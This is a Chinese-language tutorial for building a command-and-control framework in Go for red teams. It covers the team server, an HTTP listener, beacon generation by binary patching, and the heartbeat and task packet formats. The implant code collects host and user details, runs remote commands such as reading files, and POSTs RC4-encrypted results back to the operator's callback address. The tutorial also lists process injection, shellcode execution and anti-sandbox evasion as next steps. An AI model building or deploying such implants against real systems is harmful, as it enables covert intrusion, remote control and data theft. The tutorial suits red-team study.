从零开始手搓C2框架
字数 1707 2025-09-01 11:26:02
从零开始手搓C2框架 - 详细教学文档
1. 概述
本教学文档将详细讲解如何从零开始构建一个完整的C2(Command and Control)框架。C2框架是红队基础设施的核心组件,由Listener、TeamServer、Implant与GUI Client四大核心组件构成。
2. 项目结构与设计
2.1 项目目录结构
controller/ # 路由注册、服务器启动
server/ # 业务逻辑实现
handler/ # 监听器、Beacon和扩展的业务处理
middlewares/ # 中间件实现(如JWT鉴权、日志、错误恢复)
utils/ # 与业务无关的工具函数
profile/ # 全局配置
logs/ # 日志系统
static/ # 静态资源(证书、模板文件等)
2.2 核心设计理念
- 面向对象与依赖注入:避免全局变量,使用接口解耦
- 配置与代码分离:使用profile.json管理配置
- 模块化设计:四大核心组件各司其职
3. 服务器启动与配置
3.1 配置文件(profile.json)
{
"teamserver": {
"host": "0.0.0.0",
"port": 443,
"ssl": true,
"cert": "server.rsa.crt",
"key": "server.rsa.key"
},
"zap": {
"level": "debug",
"encoding": "json"
}
}
3.2 证书生成
生成自签名RSA-2048服务器证书(有效期10年):
openssl req -x509 -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650 -nodes
3.3 服务器启动流程
- 加载配置文件
- 初始化中间件(GinLogger, GinRecovery, 404处理)
- 注册路由
- 启动HTTPS服务
3.4 核心代码
// main.go
func main() {
profile := profile.NewProfile("profile.json")
ts := server.NewTeamServer()
ts.SetProfile(profile)
c := controller.NewController()
c.InitRouter(ts)
go ts.Start()
select {}
}
// server/teamserver.go
func (ts *TeamServer) Start() {
ts.controller.StartServer(ts.profile, &ts.stopped)
}
4. 监听器实现
4.1 监听器配置
{
"name": "http-listener",
"configType": "http",
"host": "0.0.0.0",
"port": 8443,
"ssl": true,
"cert": "server.rsa.crt",
"key": "server.rsa.key",
"userAgent": "Mozilla/5.0",
"uri": "/api/v1/health",
"headers": {
"X-Request-ID": "123456789"
}
}
4.2 监听器启动流程
- 客户端发送创建请求到
/listener/create - 服务端校验配置
- 根据类型选择对应Handler
- 启动监听器并缓存元数据
4.3 核心代码
// handler/listener/http_listener.go
func (h *HTTPListener) HandlerListenerDataAndStart(config *request.ListenerConfig) (*response.ListenerData, error) {
// 填充默认值
if config.Headers == nil {
config.Headers = make(map[string]string)
}
// 生成随机会话密钥
sessionKey := crypt.GenerateRandomBytes(32)
// 创建并启动HTTP服务器
httpServer := &HTTP{
Config: config,
SessionKey: sessionKey,
}
if config.SSL {
go httpServer.StartTLS()
} else {
go httpServer.Start()
}
return &response.ListenerData{
Name: config.Name,
ConfigType: config.ConfigType,
Data: config,
}, nil
}
5. Beacon生成与上线
5.1 Beacon生成流程
- 客户端发送请求到
/agent/generate - 服务端查询监听器配置
- 使用Patch方式生成Beacon
- 返回Base64编码的Beacon文件
Patch方式实现:
- 在模板二进制中搜索
CONFIG_MARKER_2024 - 覆盖为4字节小端序的profile长度
- 追加JSON序列化的配置数据
5.2 Beacon配置
{
"beaconType": "http",
"listenerName": "http-listener",
"sleep": 5,
"jitter": 20,
"killDate": 0,
"workingHours": "00:00-23:59",
"proxy": {},
"processInject": {},
"postExploitation": {}
}
5.3 Beacon上线流程
- Beacon解密配置
- 收集系统信息
- 打包心跳包
- 发送到C2服务器注册
心跳包结构(TLV协议):
| 字段 | 类型 | 说明 |
|---|---|---|
| BeaconID | uint32 | 随机生成的会话ID |
| Sleep | int32 | 心跳间隔秒数 |
| Jitter | int32 | 抖动百分比 |
| KillDate | int32 | 到期自毁时间 |
| SessionKey | []byte | 会话密钥(加密后续通信) |
| Computer | []byte | 主机名 |
| Username | []byte | 当前用户名 |
| Process | []byte | 进程名 |
5.4 核心代码
// sysinfo/heartbeat.go
func PackHeartBeat(hb *HeartBeat) ([]byte, error) {
packer := packet.NewPacker()
// 打包固定长度字段
packer.AddUint32(hb.BeaconID)
packer.AddInt32(hb.Sleep)
packer.AddInt32(hb.Jitter)
packer.AddInt32(hb.KillDate)
// ...其他字段
// 打包变长字段
packer.AddBytes(hb.SessionKey)
packer.AddString(hb.Computer)
packer.AddString(hb.Username)
packer.AddString(hb.Process)
return packer.Bytes(), nil
}
// main.go (Beacon端)
func main() {
// 1. 加载配置
config := profile.LoadConfig()
// 2. 收集系统信息
hb := sysinfo.InitHeartBeat(config)
// 3. 打包心跳包
data, _ := sysinfo.PackHeartBeat(hb)
// 4. 加密并发送
encrypted := crypt.RC4Crypt(data, config.SessionKey)
base64Data := base64.URLEncoding.EncodeToString(encrypted)
// 发送HTTP请求...
}
6. 任务下发与执行
6.1 任务包结构
+---------------+----------------+----------------+----------------+
| 长度(4B) | 任务ID(4B) | 命令类型(4B) | 参数数据(变长) |
+---------------+----------------+----------------+----------------+
6.2 任务下发流程
- 客户端发送请求到
/beacon/command/execute - 服务端校验Beacon状态
- 生成任务ID并加入队列
- Beacon轮询获取任务
6.3 核心代码
// server/task.go
func (ts *TeamServer) TaskCreate(beaconID uint32, command *request.CommandData) (*response.TaskData, error) {
// 检查Beacon是否存在
if !ts.BeaconIsExists(beaconID) {
return nil, errors.New("beacon not found")
}
// 生成任务ID
taskID := crypt.GenerateUID(4)
// 创建任务
task := &Task{
ID: taskID,
Type: TYPE_TASK,
Command: command,
}
// 加入任务队列
ts.beacons[beaconID].Tasks.Add(task)
return &response.TaskData{
TaskID: taskID,
}, nil
}
// handler/beacon/beacon_handler.go
func (h *BeaconHandler) PackTasks(tasks []*Task) ([]byte, error) {
packer := packet.NewPacker()
for _, task := range tasks {
// 打包任务数据
taskData, _ := h.CreateTask(task)
// 打包完整任务包
packer.AddInt32(int32(4 + 4 + len(taskData.Data))) // 长度(不包含自身)
packer.AddBytes(taskData.TaskID) // 任务ID
packer.AddBytes(taskData.Data) // 任务数据
}
return packer.Bytes(), nil
}
7. 任务执行与结果回传
7.1 结果包结构
+---------------+----------------+----------------+----------------+
| 长度(4B) | 任务ID(4B) | 命令类型(4B) | 结果数据(变长) |
+---------------+----------------+----------------+----------------+
7.2 命令实现示例
cat命令:
// command/cat.go
func ExecuteCat(filePath string) ([]byte, error) {
data, err := os.ReadFile(filePath)
if err != nil {
return nil, err
}
// 转换编码(如需要)
if utils.IsWindows() {
data, _ = utils.ConvertUTF8toCp(data, 936)
}
return data, nil
}
cd命令:
// command/cd.go
func ExecuteCd(path string) error {
return os.Chdir(path)
}
7.3 结果处理流程
- Beacon执行任务
- 打包结果数据
- 加密并POST到服务器
- 服务端解密并处理结果
7.4 核心代码
// main.go (Beacon端)
func handleTask(taskData []byte) {
parser := packet.NewParser(taskData)
// 读取任务包长度
length := parser.ParseInt32()
// 读取任务ID
taskID := parser.ParseBytes(4)
// 读取命令类型
commandID := parser.ParseInt32()
var result []byte
var err error
switch commandID {
case COMMAND_CAT:
filePath := parser.ParseString()
result, err = command.ExecuteCat(filePath)
case COMMAND_CD:
path := parser.ParseString()
err = command.ExecuteCd(path)
// ...其他命令
}
// 打包结果
packer := packet.NewPacker()
packer.AddBytes(taskID)
packer.AddInt32(commandID)
if err != nil {
packer.AddInt32(COMMAND_ERROR_REPORT)
packer.AddString(err.Error())
} else {
packer.AddBytes(result)
}
finalPacket := packer.MakeFinalPacket()
encrypted := crypt.RC4Crypt(finalPacket, sessionKey)
// 发送结果
utils.HttpPost(config.CallbackAddress, encrypted)
}
// handler/listener/http_listener.go
func (h *HTTPListener) processResponse(w http.ResponseWriter, r *http.Request) {
// 解密数据
encrypted, _ := io.ReadAll(r.Body)
decrypted := crypt.RC4Crypt(encrypted, sessionKey)
// 处理结果
h.ts.BeaconProcessData(beaconID, decrypted)
w.WriteHeader(http.StatusOK)
}
8. 安全机制
- 流量加密:使用RC4加密所有通信
- 会话密钥:双重密钥机制(配置密钥+会话密钥)
- 请求校验:验证自定义请求头
- 防篡改:关键数据使用HMAC校验(可选)
- 证书加密:HTTPS传输层安全
9. 扩展与优化方向
-
高级命令:
- 进程注入
- Shellcode执行
- BOF(Binary Object File)加载
- .NET Assembly执行
-
通信协议:
- DNS隧道
- SMB通信
- WebSocket
- gRPC
-
防御规避:
- 反沙箱技术
- 反调试技术
- 内存加密
- 进程镂空
-
管理功能:
- 多用户支持
- 操作审计
- 日志分析
- 自动化任务
10. 总结
本教学详细讲解了从零开始构建C2框架的核心流程,包括:
- 服务器启动与配置管理
- 监听器的创建与启动
- Beacon的生成与上线机制
- 任务下发与执行流程
- 结果回传与处理
- 安全通信机制
通过实现这些核心功能,你已经掌握了C2框架的基本原理。实际红队操作中还需要添加更多高级功能和规避技术,但基础框架已经搭建完成。